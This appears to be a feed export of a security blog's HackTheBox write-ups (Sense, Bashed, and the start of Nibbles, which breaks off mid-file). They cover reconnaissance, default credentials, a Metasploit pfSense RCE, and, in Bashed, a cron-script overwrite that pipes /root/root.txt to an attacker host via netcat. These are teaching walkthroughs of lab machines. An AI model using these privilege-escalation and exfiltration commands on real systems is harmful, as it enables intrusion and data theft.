data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/300989342.png\" data-pswp-width=\"549\" data-pswp-height=\"102\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/300989342.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>I wanted to include this tangent here because, especially for beginners tackling more demanding challenges, it is essential to realize that diving into rabbit holes with nothing to show after a few hours is a natural part of CTFs. Just keep on trying! And so will we here.Going through some more dirbuster results, we stumble across the <code>changelog.txt<\/code> file.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-5\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/2008781597.png\" data-pswp-width=\"610\" data-pswp-height=\"241\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/2008781597.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Instead of the standard pfSense changelog we may have expected to see, we find a notice left behind by the server administrators. This proves that some non-standard files are present on the server, and we need to look harder for the next clue. After changing the wordlist and poking around, even more, we find the <code>system-users.txt<\/code> file.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-6\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/1765722213.png\" data-pswp-width=\"314\" data-pswp-height=\"193\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/1765722213.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>As it turns out, <em>company defaults<\/em> refer to the default pfSense password - as we have already read earlier from the deployment guide. So finally, with <code>rohit:pfsense<\/code> we can gain access.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-7\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/1225847803.png\" data-pswp-width=\"1130\" data-pswp-height=\"731\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/1225847803.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>From here, we look around the dashboard and find that there is the option to customize our feed with widgets. Nothing seems to work when playing around with their user input fields, especially the file uploads. One thing we can now determine precisely, however, is the software version: <code>pfSense 2.1.3<\/code>.I am unsure whether I followed the challenge creator's intention here, but my frustration with enumeration drove me to search for a shortcut in Metasploit.So a search in Metasploit shows a small selection of exploits, one of them being a remote code execution for pfSense <code>&lt;= 2.3.1_1<\/code>:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">Description<\/span><span class=\"o\">:<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">pfSense<\/span><span class=\"o\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">free<\/span><span class=\"w\"> <\/span><span class=\"n\">BSD<\/span><span class=\"w\"> <\/span><span class=\"n\">based<\/span><span class=\"w\"> <\/span><span class=\"n\">open<\/span><span class=\"w\"> <\/span><span class=\"n\">source<\/span><span class=\"w\"> <\/span><span class=\"n\">firewall<\/span><span class=\"w\"> <\/span><span class=\"n\">distribution<\/span><span class=\"o\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">version<\/span>\n<span class=\"w\">  <\/span><span class=\"o\">&lt;=<\/span><span class=\"w\"> <\/span><span class=\"mf\">2.3<\/span><span class=\"o\">.<\/span><span class=\"mi\">1<\/span><span class=\"n\">_1<\/span><span class=\"w\"> <\/span><span class=\"n\">contains<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">remote<\/span><span class=\"w\"> <\/span><span class=\"n\">command<\/span><span class=\"w\"> <\/span><span class=\"n\">execution<\/span><span class=\"w\"> <\/span><span class=\"n\">vulnerability<\/span><span class=\"w\"> <\/span><span class=\"n\">post<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">authentication<\/span><span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">system_groupmanager<\/span><span class=\"o\">.<\/span><span class=\"na\">php<\/span><span class=\"w\"> <\/span><span class=\"n\">page<\/span><span class=\"o\">.<\/span><span class=\"w\"> <\/span><span class=\"n\">Verified<\/span><span class=\"w\"> <\/span><span class=\"n\">against<\/span>\n<span class=\"w\">  <\/span><span class=\"mf\">2.2<\/span><span class=\"o\">.<\/span><span class=\"mi\">6<\/span><span class=\"w\"> <\/span><span class=\"n\">and<\/span><span class=\"w\"> <\/span><span class=\"mf\">2.3<\/span><span class=\"o\">.<\/span>\n<\/code><\/pre><\/div>\n\n<p>We can now easily pop a Meterpreter session on the server by filling out all relevant parameters. pfSense is running as\nroot, so we have immediately landed at our goal. From here, we can get the user and root flags.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-8\">\n    <a href=\"\/blog\/hackthebox-sense-write-up\/1150353223.png\" data-pswp-width=\"775\" data-pswp-height=\"219\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-sense-write-up\/1150353223.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Bashed","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/02\/27\/hackthebox-bashed.html","rel":"alternate"}},"published":"2018-02-27T00:00:00+01:00","updated":"2018-02-27T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-02-27:\/2018\/02\/27\/hackthebox-bashed.html","summary":"<p>Bashed is a great entry-level box for people who are just getting started with HackTheBox. If you are just getting started with penetration testing, the value of this box is less in its technical content but rather in giving you the chance to exercise through your processes once. A bit \u2026<\/p>","content":"<p>Bashed is a great entry-level box for people who are just getting started with HackTheBox. If you are just getting started with penetration testing, the value of this box is less in its technical content but rather in giving you the chance to exercise through your processes once. A bit like jumping into the water for the first time after doing dry-swimming. Let's jump in!<\/p>\n<p>First we run a basic nmap scan to see what ports are running on the server:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nx\">Starting<\/span><span class=\"w\"> <\/span><span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">7.60<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">https<\/span><span class=\"p\">:<\/span><span class=\"c1\">\/\/nmap.org ) at 2018-02-27 19:06 CET<\/span>\n<span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"nx\">scan<\/span><span class=\"w\"> <\/span><span class=\"nx\">report<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">10.10.10.68<\/span>\n<span class=\"nx\">Host<\/span><span class=\"w\"> <\/span><span class=\"k\">is<\/span><span class=\"w\"> <\/span><span class=\"nx\">up<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"m m-Double\">0.027<\/span><span class=\"nx\">s<\/span><span class=\"w\"> <\/span><span class=\"nx\">latency<\/span><span class=\"p\">).<\/span>\n<span class=\"nx\">Not<\/span><span class=\"w\"> <\/span><span class=\"nx\">shown<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">999<\/span><span class=\"w\"> <\/span><span class=\"nx\">closed<\/span><span class=\"w\"> <\/span><span class=\"nx\">ports<\/span>\n<span class=\"nx\">PORT<\/span><span class=\"w\"> <\/span><span class=\"nx\">STATE<\/span><span class=\"w\"> <\/span><span class=\"nx\">SERVICE<\/span>\n<span class=\"mi\">80<\/span><span class=\"o\">\/<\/span><span class=\"nx\">tcp<\/span><span class=\"w\"> <\/span><span class=\"nx\">open<\/span><span class=\"w\"> <\/span><span class=\"nx\">http<\/span>\n\n<span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"nx\">done<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"nx\">IP<\/span><span class=\"w\"> <\/span><span class=\"nx\">address<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"nx\">host<\/span><span class=\"w\"> <\/span><span class=\"nx\">up<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"nx\">scanned<\/span><span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">1.01<\/span><span class=\"w\"> <\/span><span class=\"nx\">seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>Navigating to port 80, this is our first sight:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-bashed-write-up\/882342764.png\" data-pswp-width=\"1166\" data-pswp-height=\"768\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-bashed-write-up\/882342764.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The blog seems to belong to the developer of a PHP reverse shell. They also mention that it was developed on this very server. Foreshadowing. Thinking about likely directories, we try out <code>upload<\/code>- nope; <code>uploads<\/code>- nope; <code>dev<\/code>- bingo.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-bashed-write-up\/503885520-1.png\" data-pswp-width=\"496\" data-pswp-height=\"264\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-bashed-write-up\/503885520-1.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Going to the minified shell file, we are greeted with an interactive prompt as the <code>bashed<\/code> user. The nice developer saved us the work of constructing and uploading a payload ourselves.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-bashed-write-up\/927448957.png\" data-pswp-width=\"839\" data-pswp-height=\"667\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-bashed-write-up\/927448957.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>This is not enough to give us the user flag, however. A quick check through <code>sudo -l<\/code> exposes a trivial privilege escalation vector. We can upgrade to the <code>scriptmanager<\/code> user right away:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>Matching Defaults entries for www-data on bashed:\nenv_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser www-data may run the following commands on bashed:\n(scriptmanager : scriptmanager) NOPASSWD: ALL\n<\/code><\/pre><\/div>\n\n<p>This gives us access to the user flag under <code>\/home\/scriptmanager\/flag.txt<\/code>. Browsing the filesystem with our new\nprivileges now gives us access to the <code>\/scripts<\/code> directory:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>sudo<span class=\"w\"> <\/span>-u<span class=\"w\"> <\/span>scriptmanager\nls<span class=\"w\"> <\/span>-alh<span class=\"w\"> <\/span>\/scripts\n\ntotal<span class=\"w\"> <\/span>16K\ndrwxrwxr--<span class=\"w\"> <\/span><span class=\"m\">2<\/span><span class=\"w\"> <\/span>scriptmanager<span class=\"w\"> <\/span>scriptmanager<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.0K<span class=\"w\"> <\/span>Dec<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">18<\/span>:06<span class=\"w\"> <\/span>.\ndrwxr-xr-x<span class=\"w\"> <\/span><span class=\"m\">23<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\"> <\/span><span class=\"m\">4<\/span>.0K<span class=\"w\"> <\/span>Dec<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">13<\/span>:02<span class=\"w\"> <\/span>..\n-rw-r--r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>scriptmanager<span class=\"w\"> <\/span>scriptmanager<span class=\"w\"> <\/span><span class=\"m\">58<\/span><span class=\"w\"> <\/span>Dec<span class=\"w\"> <\/span><span class=\"m\">4<\/span><span class=\"w\"> <\/span><span class=\"m\">17<\/span>:03<span class=\"w\"> <\/span>test.py\n-rw-r--r--<span class=\"w\"> <\/span><span class=\"m\">1<\/span><span class=\"w\"> <\/span>root<span class=\"w\"> <\/span>root<span class=\"w\"> <\/span><span class=\"m\">12<\/span><span class=\"w\"> <\/span>Feb<span class=\"w\"> <\/span><span class=\"m\">27<\/span><span class=\"w\"> <\/span><span class=\"m\">10<\/span>:16<span class=\"w\"> <\/span>test.txt\n<\/code><\/pre><\/div>\n\n<p>The test.py file contains the following code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">f<\/span> <span class=\"o\">=<\/span> <span class=\"nb\">open<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;test.txt&quot;<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;w&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;testing 123!&quot;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">f<\/span><span class=\"o\">.<\/span><span class=\"n\">close<\/span>\n<\/code><\/pre><\/div>\n\n<p>The test file is owned by the root user. This, along with the regularly refreshing modification date, hints at the\npresence of some cronjob executing the Python script with root privileges. As we have write-level access to the Python\nfile, we can escalate our privileges very easily by overwriting its contents with our own payload.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">sudo<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">u<\/span><span class=\"w\"> <\/span><span class=\"n\">scriptmanager<\/span><span class=\"w\"> <\/span><span class=\"n\">sh<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">c<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;echo &quot;<\/span><span class=\"kn\">import<\/span><span class=\"w\"> <\/span><span class=\"nn\">os<\/span><span class=\"p\">;<\/span><span class=\"n\">os<\/span><span class=\"o\">.<\/span><span class=\"n\">system<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;cat \/root\/root.txt | nc 10.10.14.210 4444&#39;<\/span><span class=\"p\">)<\/span><span class=\"s2\">&quot; &gt; \/scripts\/test.py&quot;<\/span>\n<\/code><\/pre><\/div>\n\n<p><code>os.system<\/code> simply takes a string with a shell command here and executes it as the current user. With netcat conveniently being present on the system, we simply transmit the root flag to our machine. After a short wait time, we receive the payload on our listener:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-bashed-write-up\/2114701126.png\" data-pswp-width=\"606\" data-pswp-height=\"81\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-bashed-write-up\/2114701126.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Challenges"}}},{"title":"HackTheBox Nibbles","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2018\/02\/26\/hackthebox-nibbles.html","rel":"alternate"}},"published":"2018-02-26T00:00:00+01:00","updated":"2018-02-26T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2018-02-26:\/2018\/02\/26\/hackthebox-nibbles.html","summary":"<p>Nibbles was one of the first machines I broke on HTB. It is a relatively simple machine that requires a little bit of reconnaissance and leads you to a (hopefully) easy win by letting you poke around the website. Let's dive in!First, we run a quick port scan: <code>nmap \u2026<\/code><\/p>","content":"<p>Nibbles was one of the first machines I broke on HTB. It is a relatively simple machine that requires a little bit of reconnaissance and leads you to a (hopefully) easy win by letting you poke around the website. Let's dive in!First, we run a quick port scan: <code>nmap -sS 10.10.10.75 -oX htb-nibbles.xml<\/code>, which gives us the following result:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nx\">Starting<\/span><span class=\"w\"> <\/span><span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">7.60<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"w\"> <\/span><span class=\"nx\">https<\/span><span class=\"p\">:<\/span><span class=\"c1\">\/\/nmap.org ) at 2018-02-26 18:58 CET<\/span>\n<span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"nx\">scan<\/span><span class=\"w\"> <\/span><span class=\"nx\">report<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">10.10.10.75<\/span>\n<span class=\"nx\">Host<\/span><span class=\"w\"> <\/span><span class=\"k\">is<\/span><span class=\"w\"> <\/span><span class=\"nx\">up<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"m m-Double\">0.056<\/span><span class=\"nx\">s<\/span><span class=\"w\"> <\/span><span class=\"nx\">latency<\/span><span class=\"p\">).<\/span>\n<span class=\"nx\">Not<\/span><span class=\"w\"> <\/span><span class=\"nx\">shown<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">998<\/span><span class=\"w\"> <\/span><span class=\"nx\">closed<\/span><span class=\"w\"> <\/span><span class=\"nx\">ports<\/span>\n<span class=\"nx\">PORT<\/span><span class=\"w\"> <\/span><span class=\"nx\">STATE<\/span><span class=\"w\"> <\/span><span class=\"nx\">SERVICE<\/span>\n<span class=\"mi\">22<\/span><span class=\"o\">\/<\/span><span class=\"nx\">tcp<\/span><span class=\"w\"> <\/span><span class=\"nx\">open<\/span><span class=\"w\"> <\/span><span class=\"nx\">ssh<\/span>\n<span class=\"mi\">80<\/span><span class=\"o\">\/<\/span><span class=\"nx\">tcp<\/span><span class=\"w\"> <\/span><span class=\"nx\">open<\/span><span class=\"w\"> <\/span><span class=\"nx\">http<\/span>\n\n<span class=\"nx\">Nmap<\/span><span class=\"w\"> <\/span><span class=\"nx\">done<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"nx\">IP<\/span><span class=\"w\"> <\/span><span class=\"nx\">address<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"nx\">host<\/span><span class=\"w\"> <\/span><span class=\"nx\">up<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"nx\">scanned<\/span><span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">0.80<\/span><span class=\"w\"> <\/span><span class=\"nx\">seconds<\/span>\n<\/code><\/pre><\/div>\n\n<p>Access on port 80 gives us the following view:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1806645511.png\" data-pswp-width=\"329\" data-pswp-height=\"199\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1806645511.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Making sure that there is nothing hidden in the background, I also check the site's source code:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1037093379.png\" data-pswp-width=\"488\" data-pswp-height=\"265\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1037093379.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Frequently dependencies such as JS files, images, or even artifacts such as comments and weird spacing can give hints about the underlying server technology, template engine, or plain interesting paths. Latter is the case here.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/580770439.png\" data-pswp-width=\"992\" data-pswp-height=\"635\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/580770439.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Looking at the source, the category section looks as follows:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"p\">&lt;<\/span><span class=\"nt\">section<\/span> <span class=\"na\">id<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;sidebar&quot;<\/span><span class=\"p\">&gt;<\/span>\n  <span class=\"p\">&lt;<\/span><span class=\"nt\">div<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-box plugin_categories&quot;<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">h3<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-title&quot;<\/span><span class=\"p\">&gt;<\/span>Categories<span class=\"p\">&lt;\/<\/span><span class=\"nt\">h3<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n      <span class=\"p\">&lt;<\/span><span class=\"nt\">li<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;category&quot;<\/span><span class=\"p\">&gt;&lt;<\/span><span class=\"nt\">a<\/span> <span class=\"na\">href<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;\/nibbleblog\/index.php?controller=blog&amp;amp;action=view&amp;amp;category=uncategorised&quot;<\/span><span class=\"p\">&gt;<\/span>Uncategorised<span class=\"p\">&lt;\/<\/span><span class=\"nt\">a<\/span><span class=\"p\">&gt;&lt;\/<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;<\/span>\n      <span class=\"p\">&lt;<\/span><span class=\"nt\">li<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;category&quot;<\/span><span class=\"p\">&gt;&lt;<\/span><span class=\"nt\">a<\/span> <span class=\"na\">href<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;\/nibbleblog\/index.php?controller=blog&amp;amp;action=view&amp;amp;category=music&quot;<\/span><span class=\"p\">&gt;<\/span>Music<span class=\"p\">&lt;\/<\/span><span class=\"nt\">a<\/span><span class=\"p\">&gt;&lt;\/<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;<\/span>\n      <span class=\"p\">&lt;<\/span><span class=\"nt\">li<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;category&quot;<\/span><span class=\"p\">&gt;&lt;<\/span><span class=\"nt\">a<\/span> <span class=\"na\">href<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;\/nibbleblog\/index.php?controller=blog&amp;amp;action=view&amp;amp;category=videos&quot;<\/span><span class=\"p\">&gt;<\/span>Videos<span class=\"p\">&lt;\/<\/span><span class=\"nt\">a<\/span><span class=\"p\">&gt;&lt;\/<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;\/<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n\n\n\n  <span class=\"p\">&lt;<\/span><span class=\"nt\">div<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-box plugin_hello_world&quot;<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">h3<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-title&quot;<\/span><span class=\"p\">&gt;<\/span>Hello world<span class=\"p\">&lt;\/<\/span><span class=\"nt\">h3<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">p<\/span><span class=\"p\">&gt;<\/span>Hello world<span class=\"p\">&lt;\/<\/span><span class=\"nt\">p<\/span><span class=\"p\">&gt;<\/span>\n\n\n\n  <span class=\"p\">&lt;<\/span><span class=\"nt\">div<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-box plugin_latest_posts&quot;<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">h3<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-title&quot;<\/span><span class=\"p\">&gt;<\/span>Latest posts<span class=\"p\">&lt;\/<\/span><span class=\"nt\">h3<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;&lt;\/<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n\n\n\n  <span class=\"p\">&lt;<\/span><span class=\"nt\">div<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-box plugin_my_image&quot;<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">h3<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-title&quot;<\/span><span class=\"p\">&gt;<\/span>shell<span class=\"p\">&lt;\/<\/span><span class=\"nt\">h3<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n      <span class=\"p\">&lt;<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;&lt;<\/span><span class=\"nt\">img<\/span> <span class=\"na\">alt<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;&quot;<\/span> <span class=\"na\">src<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;\/nibbleblog\/content\/private\/plugins\/my_image\/image.jpg&quot;<\/span> <span class=\"p\">\/&gt;&lt;\/<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;\/<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n\n\n\n  <span class=\"p\">&lt;<\/span><span class=\"nt\">div<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-box plugin_pages&quot;<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">h3<\/span> <span class=\"na\">class<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;plugin-title&quot;<\/span><span class=\"p\">&gt;<\/span>Pages<span class=\"p\">&lt;\/<\/span><span class=\"nt\">h3<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n      <span class=\"p\">&lt;<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;&lt;<\/span><span class=\"nt\">a<\/span> <span class=\"na\">href<\/span><span class=\"o\">=<\/span><span class=\"s\">&quot;\/nibbleblog\/&quot;<\/span><span class=\"p\">&gt;<\/span>Home<span class=\"p\">&lt;\/<\/span><span class=\"nt\">a<\/span><span class=\"p\">&gt;&lt;\/<\/span><span class=\"nt\">li<\/span><span class=\"p\">&gt;<\/span>\n    <span class=\"p\">&lt;\/<\/span><span class=\"nt\">ul<\/span><span class=\"p\">&gt;<\/span>\n\n\n\n<span class=\"p\">&lt;\/<\/span><span class=\"nt\">section<\/span><span class=\"p\">&gt;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Immediately catching the eye here are the <code>index.php<\/code> parameters. Trying some common and invalid values for the <code>controller<\/code>and <code>action<\/code>parameters does not yield any interesting errors, though. Another interesting area of the sidebar is the <code>shell<\/code> section, which contains an image that cannot be loaded. The path gives us valuable information on other locations on the server, so we navigate to <code>http:\/\/10.10.10.75\/nibbleblog\/content\/<\/code>.<\/p>\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1938176137.png\" data-pswp-width=\"552\" data-pswp-height=\"271\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1938176137.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1294528947.png\" data-pswp-width=\"304\" data-pswp-height=\"331\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1294528947.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Not to get distracted, we look into the <code>private<\/code> directory:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/hackthebox-nibbles-write-up\/1674765847.png\" data-pswp-width=\"657\" data-pswp-height=\"471\" target=\"_blank\">\n        <img src=\"\/blog\/hackthebox-nibbles-write-up\/1674765847.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>Some interesting PHP and XML files live in this directory. Most notably, <code>users.xml<\/code> is in here, which contains useful credentials:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nt\">&lt;users&gt;<\/span>\n<span class=\"w\">    <\/span><span class=\"nt\">&lt;user<\/span><span class=\"w\"> <\/span><span class=\"na\">username=<\/span><span class=\"s\">&quot;admin&quot;<\/span><span class=\"nt\">&gt;<\/span>\n<span class=\"w\">        <\/span><span class=\"nt\">&lt;id<\/span><span class=\"w\"> <\/span><span class=\"na\">type=<\/span><span class=\"s\">&quot;integer&quot;<\/span><span class=\"nt\">&gt;<\/span>0<span class=\"nt\">&lt;\/id&gt;<\/span>\n<span class=\"w\">        <\/span><span 